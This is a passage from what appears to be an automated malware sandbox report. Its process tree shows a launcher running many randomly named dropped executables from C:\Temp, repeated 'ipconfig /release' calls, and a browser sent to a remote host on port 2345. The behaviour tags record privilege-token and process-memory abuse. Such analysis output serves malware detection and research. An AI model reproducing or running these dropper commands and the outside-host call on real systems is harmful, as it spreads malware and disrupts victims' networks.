        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4892
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5896
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lgebwtolgd.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1892
  - - C:\Temp\i_lgebwtolgd.exe
      C:\Temp\i_lgebwtolgd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qlidbvtnlf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2376
  - - C:\Temp\qlidbvtnlf.exe
      C:\Temp\qlidbvtnlf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1908
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3992
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1384
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qlidbvtnlf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3176
  - - C:\Temp\i_qlidbvtnlf.exe
      C:\Temp\i_qlidbvtnlf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvtnlfdxvp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1724
  - - C:\Temp\xvtnlfdxvp.exe
      C:\Temp\xvtnlfdxvp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5640
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:412
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvtnlfdxvp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1824
  - - C:\Temp\i_xvtnlfdxvp.exe
      C:\Temp\i_xvtnlfdxvp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5816
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cxvpnhfzxs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3856
  - - C:\Temp\cxvpnhfzxs.exe
      C:\Temp\cxvpnhfzxs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4528
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3544
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cxvpnhfzxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5212
  - - C:\Temp\i_cxvpnhfzxs.exe
      C:\Temp\i_cxvpnhfzxs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3592
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pfzxspkhfz.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2588
  - - C:\Temp\pfzxspkhfz.exe
      C:\Temp\pfzxspkhfz.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2140
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4672
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4660
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pfzxspkhfz.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5260
  - - C:\Temp\i_pfzxspkhfz.exe
      C:\Temp\i_pfzxspkhfz.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:468
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpjhczurmj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5472
  - - C:\Temp\rpjhczurmj.exe
      C:\Temp\rpjhczurmj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3728
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6020
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpjhczurmj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5636
  - - C:\Temp\i_rpjhczurmj.exe
      C:\Temp\i_rpjhczurmj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2124
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wromhezwrm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3004
  - - C:\Temp\wromhezwrm.exe
      C:\Temp\wromhezwrm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1124
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4088
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wromhezwrm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2984
  - - C:\Temp\i_wromhezwrm.exe
      C:\Temp\i_wromhezwrm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jebwuomgey.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1240
  - - C:\Temp\jebwuomgey.exe
      C:\Temp\jebwuomgey.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5884
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2820
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4156
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jebwuomgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5536
  - - C:\Temp\i_jebwuomgey.exe
      C:\Temp\i_jebwuomgey.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5700
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nljdbvtrlj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5404
  - - C:\Temp\nljdbvtrlj.exe
      C:\Temp\nljdbvtrlj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3380
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5476
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4840
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nljdbvtrlj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2720
  - - C:\Temp\i_nljdbvtrlj.exe
      C:\Temp\i_nljdbvtrlj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5128
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lgeytqljdb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:556
  - - C:\Temp\lgeytqljdb.exe
      C:\Temp\lgeytqljdb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4816
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2824
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_lgeytqljdb.exe ups_ins
    3⤵
    PID:5704
  - - C:\Temp\i_lgeytqljdb.exe
      C:\Temp\i_lgeytqljdb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5912
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlfdxvqnig.exe ups_run
    3⤵
    PID:3916
  - - C:\Temp\nlfdxvqnig.exe
      C:\Temp\nlfdxvqnig.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4668
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4156
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5572
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlfdxvqnig.exe ups_ins
    3⤵
    PID:1232
  - - C:\Temp\i_nlfdxvqnig.exe
      C:\Temp\i_nlfdxvqnig.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5584
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqkicausn.exe ups_run
    3⤵
    PID:1632
  - - C:\Temp\ysqkicausn.exe
      C:\Temp\ysqkicausn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5236
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1432
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5764
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqkicausn.exe ups_ins
    3⤵
    PID:4372
  - - C:\Temp\i_ysqkicausn.exe
      C:\Temp\i_ysqkicausn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfzxvpnhca.exe ups_run
    3⤵
    PID:2176
  - - C:\Temp\hfzxvpnhca.exe
      C:\Temp\hfzxvpnhca.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5816
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4760
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4592
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfzxvpnhca.exe ups_ins
    3⤵
    PID:5316
  - - C:\Temp\i_hfzxvpnhca.exe
      C:\Temp\i_hfzxvpnhca.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2108
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cxupnhfzxr.exe ups_run
    3⤵
    PID:256
  - - C:\Temp\cxupnhfzxr.exe
      C:\Temp\cxupnhfzxr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1844
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5556
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3724
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cxupnhfzxr.exe ups_ins
    3⤵
    PID:1320
  - - C:\Temp\i_cxupnhfzxr.exe
      C:\Temp\i_cxupnhfzxr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5584
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ecwupkecwu.exe ups_run
    3⤵
    PID:4884
  - - C:\Temp\ecwupkecwu.exe
      C:\Temp\ecwupkecwu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5408
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5128
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2884
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ecwupkecwu.exe ups_ins
    3⤵
    PID:1948
  - - C:\Temp\i_ecwupkecwu.exe
      C:\Temp\i_ecwupkecwu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4364
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eywrojgbzt.exe ups_run
    3⤵
    PID:5968
  - - C:\Temp\eywrojgbzt.exe
      C:\Temp\eywrojgbzt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3416
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3040
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eywrojgbzt.exe ups_ins
    3⤵
    PID:3608
  - - C:\Temp\i_eywrojgbzt.exe
      C:\Temp\i_eywrojgbzt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1756
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bywqoigbyt.exe ups_run
    3⤵
    PID:1456
  - - C:\Temp\bywqoigbyt.exe
      C:\Temp\bywqoigbyt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5724
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4592
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bywqoigbyt.exe ups_ins
    3⤵
    PID:5420
  - - C:\Temp\i_bywqoigbyt.exe
      C:\Temp\i_bywqoigbyt.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1616
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoidbvtqdy.exe ups_run
    3⤵
    PID:5172
  - - C:\Temp\qoidbvtqdy.exe
      C:\Temp\qoidbvtqdy.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6000
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2384
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4872
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoidbvtqdy.exe ups_ins
    3⤵
    PID:2780
  - - C:\Temp\i_qoidbvtqdy.exe
      C:\Temp\i_qoidbvtqdy.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2044
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2c8,0x7fff916fc188,0x7fff916fc194,0x7fff916fc1a0
      4⤵
      PID:2552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2160,i,7950582717832829858,17938449993758487262,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=2880 /prefetch:11
      4⤵
      System Time Discovery
      PID:2452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1852,i,13279964128005912466,12856115164417495154,262144 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=2820 /prefetch:2
      4⤵
      PID:1712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2396,i,7410750823373229207,14559336381696506047,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=2872 /prefetch:13
      4⤵
      PID:6024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3532,i,2160757549885217102,10959686268090352968,2097152 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
      4⤵
      PID:5184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3536,i,4668134087647601955,10469883823863381791,2097152 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
      4⤵
      PID:5420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4172,i,6469831856319606722,9862933913064388492,2097152 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:1
      4⤵
      PID:2128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4184,i,5550298939774160349,11535216887523028369,2097152 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=4752 /prefetch:9
      4⤵
      PID:1468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4312,i,2011232005621875244,15057329635016514367,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:14
      4⤵
      PID:3416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5284,i,5217033656344774426,15141992852364745930,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:14
      4⤵
      PID:3820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5276,i,5890175755923573162,4229830422756554205,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:14
      4⤵
      PID:2972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6112,i,12308492736499753589,12020327069761905594,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:14
      4⤵
      PID:1740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6112,i,12308492736499753589,12020327069761905594,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:14
      4⤵
      PID:2756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,12873249905100655978,5692497947170431482,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:14
      4⤵
      PID:6000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,4003140754271263736,6203472274266212964,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:14
      4⤵
      PID:5996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6584,i,3911485775371153709,9012537681394683737,2097152 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:1
      4⤵
      PID:424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6636,i,7280822494327339910,8237900882530492186,2097152 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:1
      4⤵
      PID:1448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=6564,i,3693988084432525072,7839957498390463240,2097152 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:1
      4⤵
      PID:2828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,8144242422846632208,17003055479205758595,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=1408 /prefetch:14
      4⤵
      PID:2752
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,7269859055998003896,18248895196540196727,524288 --field-trial-handle=2824,i,9360405455837387682,17959344693121073738,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:14
      4⤵
      PID:3740
